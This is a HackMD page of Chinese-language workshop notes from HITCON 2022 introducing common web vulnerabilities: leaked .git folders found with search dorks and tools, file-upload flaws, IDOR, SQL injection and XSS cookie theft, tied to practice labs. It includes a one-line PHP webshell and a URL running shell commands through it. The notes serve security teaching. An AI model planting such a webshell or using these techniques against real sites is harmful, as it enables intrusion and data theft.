HITCON
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Write
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
      • No invitee
    • Publish Note

      Publish Note

      Everyone on the web can find and read all notes of this public team.
      Once published, notes can be searched and viewed by anyone online.
      See published notes
      Please check the box to agree to the Community Guidelines.
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Help
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Write
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
No invitee
Publish Note

Publish Note

Everyone on the web can find and read all notes of this public team.
Once published, notes can be searched and viewed by anyone online.
See published notes
Please check the box to agree to the Community Guidelines.
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# 欸!原來這個網站有洞:手把手帶你認識網站常見漏洞 - 飛飛 {%hackmd @HITCON/r1cl60dRc %} > 從這開始 [TOC] 程式碼 權限 資料 網站開發流程 如何部署、設置防火牆 # 駭客說我看得到你的程式碼 ## 版本控制(git) 利用git來部署網站 : if .git資料夾遺留 - Google hacking google 搜尋 `intitle:index of ".git"` 可以找到洩漏的 .git 資料夾 - intitle: 尋找網頁上的標題 - index of: 目錄遍歷 - site: 指定域名 - inurl: 針對url那內的關鍵字 - 掃描網站 - - wordlist掃描 [dirb](https://ithelp.ithome.com.tw/articles/10216943) dirb hxxps://jofefgrg - githack 只有最新版本(https://github.com/lijiejie/GitHack) - scrabble 有歷史紀錄(https://github.com/denny0223/scrabble) -`git log` `git checkout + <hash>` - dotgit 下載.git成zip - 為什麼要找.git 利用.git/index 分析.git/object - search for: - hardcode - password/account - code review(search for OWASP top10) - php版本過低 -> search for CVE ## Lab0 https://lab.feifei.tw/practice/hitcon/l1.php - use dotgit and dirb >apt install dirb ``` dirb 有內建字典檔, 可以翻翻字典檔的內容了解常見的漏洞 ``` - ssh root@34 .80.81.76 -p \<port> >用root的身份連線到34.80.81.76 再連線到自己的port 使用上面的kali linux - dirb \<url> - 工具下載 scrabble >git clone https://github.com/denny0223/scrabble - cd scrabble - 下載.git - git log >HEAD : 現在只指定到的版本 - git checkout - cat Readme.txt ### 上傳漏洞 - 網站有上傳檔案功能 - 上傳照片, 圖片 - 後端沒有進行過濾 - 資料夾有執行權限 - 知道檔案路徑 上傳webshell - github : webshell w734k 一句話 //LAB1 https://rcelab.feifei.tw/up/l1.php ls%20/ ls%20-al%20/ https://rcelab.feifei.tw/up/upload/0819.php?meow=ls%20-al%20/ <?php system($_GET['meow']);?> ### 越權 : 媽媽要10塊的故事 IDOR [Insecure direct object reference - Wikipedia](https://en.wikipedia.org/wiki/Insecure_direct_object_reference) - 觀察參數變化 - 嘗試修改流水號+1-1 ### SQL Injection : 存錢 找到可以輸入的地方 ... tool : SQLmap ## 為什麼駭客說他有管理員的權限 - 弱密碼 // lab2 - XSS 執行你自己寫的javascript 偷管理員cookie // lab3 ###### tags: `HITCON2022`,`HITCON` - 註冊 LAB - https://lab.feifei.tw - 不用常用的密碼 - 認領機器 - https://docs.google.com/spreadsheets/d/1S6qZ8V2aidTVl0mavur496yGiviHnluy0rAT009q5lg/edit?usp=sharin https://lab.feifei.tw/practice/hitcon/l1.php > 怎麼看檔案?用貓咪看 ```cat 檔名``` 例如 ```cat readme.txt``` > [name=feifei]

Import from clipboard

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template is not available.
Upgrade
All
  • All
  • Team
No template found.

Create custom template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

How to use Slide mode

API Docs

Edit in VSCode

Install browser extension

Get in Touch

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Upgrade to Prime Plan

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

No updates to save
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Upgrade

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Upgrade

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully